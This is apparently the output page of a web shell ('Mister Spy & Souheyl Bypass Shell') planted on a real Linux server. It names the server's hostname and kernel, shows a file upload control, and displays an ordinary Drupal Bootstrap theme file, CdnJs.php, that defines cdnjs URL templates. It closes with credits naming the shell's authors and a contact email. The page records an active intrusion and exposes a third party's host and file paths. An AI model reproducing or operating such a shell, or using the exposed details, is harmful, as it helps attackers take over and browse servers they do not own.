Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/testsite/web/themes/contrib/bootstrap/src/Plugin/Provider/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //var/www/html1/testsite/web/themes/contrib/bootstrap/src/Plugin/Provider/CdnJs.php

<?php

namespace Drupal\bootstrap\Plugin\Provider;

/**
 * The "cdnjs" CDN Provider plugin.
 *
 * @ingroup plugins_provider
 *
 * @BootstrapProvider(
 *   id = "cdnjs",
 *   label = @Translation("CDNJS"),
 *   description = @Translation("CDNJS is one of the most famous free and public web front-end CDN services which is used by ~2,999,000 websites worldwide."),
 * )
 */
class CdnJs extends ApiProviderBase {

  /**
   * {@inheritdoc}
   */
  protected function getApiAssetsUrlTemplate() {
    return 'https://api.cdnjs.com/libraries/@library';
  }

  /**
   * {@inheritdoc}
   */
  protected function getApiVersionsUrlTemplate() {
    return 'https://api.cdnjs.com/libraries/@library';
  }

  /**
   * {@inheritdoc}
   */
  protected function getCdnUrlTemplate() {
    return 'https://cdnjs.cloudflare.com/ajax/libs/@library/@version/@file';
  }

  /**
   * {@inheritdoc}
   */
  protected function mapLibrary($library) {
    // The cdnjs uses the old library name and doesn't have an alias.
    if ($library === 'bootstrap') {
      return 'twitter-bootstrap';
    }
    return parent::mapLibrary($library);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net